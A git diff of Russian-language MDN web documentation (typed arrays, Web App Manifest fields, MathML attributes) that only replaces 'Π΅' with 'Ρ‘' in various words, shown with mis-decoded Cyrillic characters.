+<p>ΠžΠ±ΡŠΠ΅ΠΊΡ‚Β <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer" title='ΠžΠ±ΡŠΠ΅ΠΊΡ‚Β ArrayBufferΒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для Ρ€Π°Π±ΠΎΡ‚Ρ‹ с Π±ΠΈΠ½Π°Ρ€Π½Ρ‹ΠΌΠΈ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ. Он прСдставляСт собой ссылку Π½Π° ΠΏΠΎΡ‚ΠΎΠΊ "сырых" Π΄Π²ΠΎΠΈΡ‡Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ…, ΠΎΠ΄Π½Π°ΠΊΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ с Π½ΠΈΠΌΠΈ Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ возмоТности Π½Π΅ Π΄Π°Ρ‘Ρ‚. ВмСсто этого, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒΒ Ρ‚ΠΈΠΏΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ массив или ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β DataView, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ Π΄Π»Ρ чтСния ΠΈ записи Π΄Π°Π½Π½Ρ‹Ρ… Π²Β ArrayBuffer.'><code>ArrayBuffer</code></a> –– это Π½Π°Π±ΠΎΡ€ Π±ΠΈΠ½Π°Ρ€Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… с фиксированной Π΄Π»ΠΈΠ½Π½ΠΎΠΉ. Π’Ρ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΌΠ°Π½ΠΈΠΏΡƒΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ содСрТимым <code>ArrayBuffer</code>Β Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ. ВмСсто этого, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Ρ‚ΠΈΠΏΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ΅ прСдставлСниС <a href="/ru/docs/Web/JavaScript/Reference/DataView" title="ДокумСнтация ΠΎΠ± этом Π΅Ρ‰Ρ‘ Π½Π΅ написана; поТалуйста, поспособствуйтС Π΅Ρ‘ написанию!"><code>DataView</code></a>, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒ Π±ΡƒΡ„Π΅Ρ€ Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΌ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅, ΠΈ даст доступ Π½Π° запись ΠΈ Ρ‡Ρ‚Π΅Π½ΠΈΠ΅ Π΅Π³ΠΎ содСрТимого.</p>
<h3 id="Π’ΠΈΠΏΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅_прСдставлСния">Π’ΠΈΠΏΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅ прСдставлСния</h3>
-<p>НазваниС Ρ‚ΠΈΠΏΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ прСдставлСния массива говорит само Π·Π° сСбя. Оно прСдставляСт массив Π² распространСнных числовых Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π°Ρ…,Β Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊΒ Β <code>Int8</code>,Β <code>Uint32</code>,Β <code>Float64</code>Β ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅. Π‘Ρ€Π΅Π΄ΠΈ ΠΏΡ€ΠΎΡ‡ΠΈΡ…, сущСствуСт ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠ΅ прСдставлСниС <code>Uint8ClampedArray</code>. Оно ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΠ²Π°Π΅Ρ‚ значСния ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π»ΠΎΠΌ ΠΎΡ‚Β 0 Π΄ΠΎ 255. Π­Ρ‚ΠΎ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€,Β ΠΏΡ€ΠΈΒ <a href="/ru/docs/Web/API/ImageData">ΠžΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅ Π΄Π°Π½Π½Ρ‹Ρ… изобраТСния Π² Canvas</a>.</p>
+<p>НазваниС Ρ‚ΠΈΠΏΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ прСдставлСния массива говорит само Π·Π° сСбя. Оно прСдставляСт массив Π² распространённых числовых Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π°Ρ…,Β Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊΒ Β <code>Int8</code>,Β <code>Uint32</code>,Β <code>Float64</code>Β ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅. Π‘Ρ€Π΅Π΄ΠΈ ΠΏΡ€ΠΎΡ‡ΠΈΡ…, сущСствуСт ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠ΅ прСдставлСниС <code>Uint8ClampedArray</code>. Оно ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΠ²Π°Π΅Ρ‚ значСния ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π»ΠΎΠΌ ΠΎΡ‚Β 0 Π΄ΠΎ 255. Π­Ρ‚ΠΎ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€,Β ΠΏΡ€ΠΈΒ <a href="/ru/docs/Web/API/ImageData">ΠžΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅ Π΄Π°Π½Π½Ρ‹Ρ… изобраТСния Π² Canvas</a>.</p>
<p>{{page("/ru/docs/Web/JavaScript/Reference/Global_Objects/TypedArray", "ΠžΠ±ΡŠΠ΅ΠΊΡ‚ TypedArray")}}</p>
@@ -74,7 +74,7 @@ translation_of: Web/JavaScript/Typed_arrays
<h3 id="ΠœΠ½ΠΎΠΆΠ΅ΡΡ‚Π²ΠΎ_прСдставлСний_для_ΠΎΠ΄Π½ΠΈΡ…_ΠΈ_Ρ‚Π΅Ρ…_ΠΆΠ΅_Π΄Π°Π½Π½Ρ‹Ρ…">ΠœΠ½ΠΎΠΆΠ΅ΡΡ‚Π²ΠΎ прСдставлСний для ΠΎΠ΄Π½ΠΈΡ… ΠΈ Ρ‚Π΅Ρ… ΠΆΠ΅ Π΄Π°Π½Π½Ρ‹Ρ…</h3>
-<p>Всё становится Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ интСрСснСС, Ссли ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ нСсколько Ρ€Π°Π·Π½Ρ‹Ρ… прСдставлСний для ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈ Ρ‚ΠΎΠ³ΠΎ ΠΆΠ΅ Π±ΡƒΡ„Π΅Ρ€Π°. НапримСр, ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Π²Ρ‹ΡˆΠ΅ ΠΊΠΎΠ΄Β ΠΌΠΎΠΆΠ½ΠΎ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
+<p>Всё становится Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ интСрСснСС, Ссли ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ нСсколько Ρ€Π°Π·Π½Ρ‹Ρ… прСдставлСний для ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈ Ρ‚ΠΎΠ³ΠΎ ΠΆΠ΅ Π±ΡƒΡ„Π΅Ρ€Π°. НапримСр, ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ Π²Ρ‹ΡˆΠ΅ ΠΊΠΎΠ΄Β ΠΌΠΎΠΆΠ½ΠΎ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
<pre class="brush:js">var int16View = new Int16Array(buffer);
@@ -83,7 +83,7 @@ for (var i = 0; i &lt; int16View.length; i++) {
}
</pre>
-<p>Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ создаСм 16-Π±ΠΈΡ‚Π½ΠΎΠ΅ цСлочислСнноС прСдставлСниС, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ссылаСтся Π½Π° Ρ‚ΠΎΡ‚ ΠΆΠ΅ самый Π±ΡƒΡ„Π΅Ρ€, Ρ‡Ρ‚ΠΎ ΠΈ 32-Π±ΠΈΡ‚Π½ΠΎΠ΅ прСдставлСниС, ΠΈ Π·Π°Ρ‚Π΅ΠΌΒ Π²Ρ‹Π²ΠΎΠ΄ΠΈΠΌ всС 16-Π±ΠΈΡ‚Π½Ρ‹Π΅ элСмСнты этого прСдставлСния. ΠœΡ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠΌ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ Π²Ρ‹Π²ΠΎΠ΄:Β 0, 0, 2, 0, 4, 0, 6, 0.</p>
+<p>Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ создаём 16-Π±ΠΈΡ‚Π½ΠΎΠ΅ цСлочислСнноС прСдставлСниС, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ссылаСтся Π½Π° Ρ‚ΠΎΡ‚ ΠΆΠ΅ самый Π±ΡƒΡ„Π΅Ρ€, Ρ‡Ρ‚ΠΎ ΠΈ 32-Π±ΠΈΡ‚Π½ΠΎΠ΅ прСдставлСниС, ΠΈ Π·Π°Ρ‚Π΅ΠΌΒ Π²Ρ‹Π²ΠΎΠ΄ΠΈΠΌ всС 16-Π±ΠΈΡ‚Π½Ρ‹Π΅ элСмСнты этого прСдставлСния. ΠœΡ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠΌ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ Π²Ρ‹Π²ΠΎΠ΄:Β 0, 0, 2, 0, 4, 0, 6, 0.</p>
<p>МоТно ΠΏΠΎΠΉΡ‚ΠΈ дальшС. ΠžΡ†Π΅Π½ΠΈΡ‚Π΅ этот ΠΊΠΎΠ΄:</p>
@@ -115,9 +115,9 @@ var idView = new Uint32Array(buffer, 0, 1);
var usernameView = new Uint8Array(buffer, 4, 16);
var amountDueView = new Float32Array(buffer, 20, 1);</pre>
-<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒΒ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΈΠ»ΠΈ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ поля <code>amountDue</code>, ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, ΠΌΠΎΠΆΠ½ΠΎ ΠΏΡƒΡ‚Π΅ΠΌ обращСния ΠΊΒ <code>amountDueView[0]</code>.</p>
+<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒΒ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΈΠ»ΠΈ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ поля <code>amountDue</code>, ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, ΠΌΠΎΠΆΠ½ΠΎ ΠΏΡƒΡ‚Ρ‘ΠΌ обращСния ΠΊΒ <code>amountDueView[0]</code>.</p>
-<div class="note"><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> <a href="https://ru.wikipedia.org/wiki/%D0%92%D1%8B%D1%80%D0%B0%D0%B2%D0%BD%D0%B8%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_%D0%B4%D0%B0%D0%BD%D0%BD%D1%8B%D1%85" title="http://en.wikipedia.org/wiki/Data_structure_alignment">Π’Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅ Π΄Π°Π½Π½Ρ‹Ρ…</a>Β Π² языкС C являСтся платформозависимым. ΠŸΡ€ΠΈΠ½ΠΈΠΌΠ°ΠΉΡ‚Π΅ ΠΌΠ΅Ρ€Ρ‹ ΠΏΠΎ Π²Ρ‹Ρ‡ΠΈΡΠ»Π΅Π½ΠΈΡŽ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹Ρ… отступов Π² Π΄Π°Π½Π½Ρ‹Ρ… с ΡƒΡ‡Π΅Ρ‚ΠΎΠΌ выравнивания.</div>
+<div class="note"><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> <a href="https://ru.wikipedia.org/wiki/%D0%92%D1%8B%D1%80%D0%B0%D0%B2%D0%BD%D0%B8%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_%D0%B4%D0%B0%D0%BD%D0%BD%D1%8B%D1%85" title="http://en.wikipedia.org/wiki/Data_structure_alignment">Π’Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅ Π΄Π°Π½Π½Ρ‹Ρ…</a>Β Π² языкС C являСтся платформозависимым. ΠŸΡ€ΠΈΠ½ΠΈΠΌΠ°ΠΉΡ‚Π΅ ΠΌΠ΅Ρ€Ρ‹ ΠΏΠΎ Π²Ρ‹Ρ‡ΠΈΡΠ»Π΅Π½ΠΈΡŽ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹Ρ… отступов Π² Π΄Π°Π½Π½Ρ‹Ρ… с ΡƒΡ‡Ρ‘Ρ‚ΠΎΠΌ выравнивания.</div>
<h3 id="ΠŸΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅_Π²_ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹Π΅_массивы">ΠŸΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅ Π² ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹Π΅ массивы</h3>
diff --git a/files/ru/web/manifest/background_color/index.html b/files/ru/web/manifest/background_color/index.html
index 98b745c6a3..5fa076ac51 100644
--- a/files/ru/web/manifest/background_color/index.html
+++ b/files/ru/web/manifest/background_color/index.html
@@ -29,7 +29,7 @@ translation_of: Web/Manifest/background_color
</tbody>
</table>
-<p><code>background_color</code> опрСдСляСт ΠΎΠΆΠΈΠ΄Π°Π΅ΠΌΡ‹ΠΉ Ρ†Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π° для Π²Π΅Π±-прилоТСния. Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ повторяСт Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΡƒΠΆΠ΅ доступно Π² стилях прилоТСния, Π½ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использовано Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ для отрисовки Ρ†Π²Π΅Ρ‚Π° Ρ„ΠΎΠ½Π° прилоТСния послС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ манифСст станСт доступСн, Π½ΠΎ Π΄ΠΎ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ стили загрузятся. Π­Ρ‚ΠΎ создаСт ΠΏΠ»Π°Π²Π½Ρ‹ΠΉ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ ΠΌΠ΅ΠΆΠ΄Ρƒ запуском прилоТСния ΠΈ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΎΠΉ содСрТимого прилоТСния.</p>
+<p><code>background_color</code> опрСдСляСт ΠΎΠΆΠΈΠ΄Π°Π΅ΠΌΡ‹ΠΉ Ρ†Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π° для Π²Π΅Π±-прилоТСния. Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ повторяСт Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΡƒΠΆΠ΅ доступно Π² стилях прилоТСния, Π½ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использовано Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ для отрисовки Ρ†Π²Π΅Ρ‚Π° Ρ„ΠΎΠ½Π° прилоТСния послС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ манифСст станСт доступСн, Π½ΠΎ Π΄ΠΎ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ стили загрузятся. Π­Ρ‚ΠΎ создаёт ΠΏΠ»Π°Π²Π½Ρ‹ΠΉ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ ΠΌΠ΅ΠΆΠ΄Ρƒ запуском прилоТСния ΠΈ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΎΠΉ содСрТимого прилоТСния.</p>
<p>Therefore <code>background_color</code> should match the {{cssxref("background-color")}} CSS property in the site’s stylesheet for a smooth transition between launching the web application and loading the site's content.</p>
diff --git a/files/ru/web/manifest/icons/index.html b/files/ru/web/manifest/icons/index.html
index e9ba3bfe32..c7d608df08 100644
--- a/files/ru/web/manifest/icons/index.html
+++ b/files/ru/web/manifest/icons/index.html
@@ -73,7 +73,7 @@ translation_of: Web/Manifest/icons
<tbody>
<tr>
<td><code>sizes</code></td>
- <td>Π‘Ρ‚Ρ€ΠΎΠΊΠ°, содСрТащая Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ ΠΏΡ€ΠΎΠ±Π΅Π»Π°ΠΌΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ€Ρ‹ изобраТСния.</td>
+ <td>Π‘Ρ‚Ρ€ΠΎΠΊΠ°, содСрТащая Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ ΠΏΡ€ΠΎΠ±Π΅Π»Π°ΠΌΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ€Ρ‹ изобраТСния.</td>
</tr>
<tr>
<td><code>src</code></td>
@@ -94,7 +94,7 @@ translation_of: Web/Manifest/icons
<ul>
<li><code>badge</code>: ΠŸΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ Π°Π³Π΅Π½Ρ‚ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ этот Π·Π½Π°Ρ‡ΠΎΠΊ Ρ‚Π°ΠΌ, Π³Π΄Π΅ ограничСния пространства ΠΈ/ΠΈΠ»ΠΈ трСбования ΠΊ Ρ†Π²Π΅Ρ‚Ρƒ ΠΎΡ‚Π»ΠΈΡ‡Π°ΡŽΡ‚ΡΡ ΠΎΡ‚ Ρ‚Π°ΠΊΠΎΠ²Ρ‹Ρ… для Π·Π½Π°Ρ‡ΠΊΠ° прилоТСния.</li>
- <li><code>maskable</code>: Π˜Π·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π½ΠΎ с ΡƒΡ‡Π΅Ρ‚ΠΎΠΌ <a href="https://w3c.github.io/manifest/#icon-masks">масок Π·Π½Π°Ρ‡ΠΊΠΎΠ² ΠΈ бСзопасной Π·ΠΎΠ½Ρ‹</a>, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ Π°Π³Π΅Π½Ρ‚ ΠΌΠΎΠΆΠ΅Ρ‚ бСзопасно ΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΈ ΠΌΠ°ΡΠΊΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π»ΡŽΠ±ΡƒΡŽ Ρ‡Π°ΡΡ‚ΡŒ изобраТСния Π·Π° ΠΏΡ€Π΅Π΄Π΅Π»Π°ΠΌΠΈ бСзопасной Π·ΠΎΠ½Ρ‹.</li>
+ <li><code>maskable</code>: Π˜Π·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π½ΠΎ с ΡƒΡ‡Ρ‘Ρ‚ΠΎΠΌ <a href="https://w3c.github.io/manifest/#icon-masks">масок Π·Π½Π°Ρ‡ΠΊΠΎΠ² ΠΈ бСзопасной Π·ΠΎΠ½Ρ‹</a>, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ Π°Π³Π΅Π½Ρ‚ ΠΌΠΎΠΆΠ΅Ρ‚ бСзопасно ΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΈ ΠΌΠ°ΡΠΊΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π»ΡŽΠ±ΡƒΡŽ Ρ‡Π°ΡΡ‚ΡŒ изобраТСния Π·Π° ΠΏΡ€Π΅Π΄Π΅Π»Π°ΠΌΠΈ бСзопасной Π·ΠΎΠ½Ρ‹.</li>
<li><code>any</code>: ΠŸΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ Π°Π³Π΅Π½Ρ‚ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒ Π·Π½Π°Ρ‡ΠΎΠΊ Π² любом контСкстС (это Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ).</li>
</ul>
</td>
diff --git a/files/ru/web/manifest/index.html b/files/ru/web/manifest/index.html
index 1a7eb8beb4..a6dd7f70fb 100644
--- a/files/ru/web/manifest/index.html
+++ b/files/ru/web/manifest/index.html
@@ -82,7 +82,7 @@ translation_of: Web/Manifest
</div>
<div class="note">
-<p><strong>Note</strong>: Если для получСния манифСста Ρ‚Ρ€Π΅Π±ΡƒΡŽΡ‚ΡΡ ΡƒΡ‡Π΅Ρ‚Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ - Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code><a href="/en-US/docs/Web/HTML/CORS_settings_attributes">crossorigin</a></code> Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΈΠΌΠ΅Ρ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>"use-credentials"</code>, Π΄Π°ΠΆΠ΅ Ссли Ρ„Π°ΠΉΠ» манифСста находится Π² Ρ‚ΠΎΠΌ ΠΆΠ΅ источникС, Ρ‡Ρ‚ΠΎ ΠΈ тСкущая страница.</p>
+<p><strong>Note</strong>: Если для получСния манифСста Ρ‚Ρ€Π΅Π±ΡƒΡŽΡ‚ΡΡ ΡƒΡ‡Ρ‘Ρ‚Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ - Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code><a href="/en-US/docs/Web/HTML/CORS_settings_attributes">crossorigin</a></code> Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΈΠΌΠ΅Ρ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>"use-credentials"</code>, Π΄Π°ΠΆΠ΅ Ссли Ρ„Π°ΠΉΠ» манифСста находится Π² Ρ‚ΠΎΠΌ ΠΆΠ΅ источникС, Ρ‡Ρ‚ΠΎ ΠΈ тСкущая страница.</p>
</div>
<h2 id="Заставки">Заставки</h2>
diff --git a/files/ru/web/manifest/related_applications/index.html b/files/ru/web/manifest/related_applications/index.html
index d2a9675c31..2eab4c4181 100644
--- a/files/ru/web/manifest/related_applications/index.html
+++ b/files/ru/web/manifest/related_applications/index.html
@@ -76,7 +76,7 @@ translation_of: Web/Manifest/related_applications
</tr>
<tr>
<td><code>id</code></td>
- <td>ID, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΠΎΠ΅ для прСдставлСния прилоТСния Π½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΉ ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ΅.</td>
+ <td>ID, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΠΎΠ΅ для прСдставлСния прилоТСния Π½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΉ ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ΅.</td>
</tr>
</tbody>
</table>
diff --git a/files/ru/web/mathml/attribute/index.html b/files/ru/web/mathml/attribute/index.html
index e14849d222..4cb0ccfcc9 100644
--- a/files/ru/web/mathml/attribute/index.html
+++ b/files/ru/web/mathml/attribute/index.html
@@ -135,7 +135,7 @@ original_slug: Web/MathML/Атрибут
<tr id="display">
<td><code>display</code></td>
<td>{{ MathMLElement("math") }}</td>
- <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Π—Π°Π΄Π°Π΅Ρ‚ Ρ€Π΅ΠΆΠΈΠΌ Π²ΠΈΠ·ΡƒΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ.</span></span></span> Π”ΠΎΠΏΡƒΡΠΊΠ°ΡŽΡ‚ΡΡ значСния <code>block</code> ΠΈ <code>inline</code>.</td>
+ <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Π—Π°Π΄Π°Ρ‘Ρ‚ Ρ€Π΅ΠΆΠΈΠΌ Π²ΠΈΠ·ΡƒΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ.</span></span></span> Π”ΠΎΠΏΡƒΡΠΊΠ°ΡŽΡ‚ΡΡ значСния <code>block</code> ΠΈ <code>inline</code>.</td>
</tr>
<tr id="displaystyle">
<td><code>displaystyle</code></td>
@@ -169,7 +169,7 @@ original_slug: Web/MathML/Атрибут
<tr id="form">
<td>{{ unimplemented_inline() }} <code>form</code></td>
<td>{{ MathMLElement("mo") }}</td>
- <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Π—Π°Π΄Π°Π΅Ρ‚ Ρ€ΠΎΠ»ΡŒ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π° Π²ΠΎ Π²Π»ΠΎΠΆΠ΅Π½Π½ΠΎΠΌ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΈ.</span></span></span></td>
+ <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Π—Π°Π΄Π°Ρ‘Ρ‚ Ρ€ΠΎΠ»ΡŒ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π° Π²ΠΎ Π²Π»ΠΎΠΆΠ΅Π½Π½ΠΎΠΌ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΈ.</span></span></span></td>
</tr>
<tr id="frame">
<td><code>frame</code></td>
@@ -179,7 +179,7 @@ original_slug: Web/MathML/Атрибут
<tr id="framespacing">
<td><code>framespacing</code></td>
<td>{{ MathMLElement("mtable") }}</td>
- <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Π—Π°Π΄Π°Π΅Ρ‚ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ пространство, Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π½ΠΎΠ΅ ΠΌΠ΅ΠΆΠ΄Ρƒ Ρ‚Π°Π±Π»ΠΈΡ†Π΅ΠΉ ΠΈ</span></span></span> <code>frame</code>.</td>
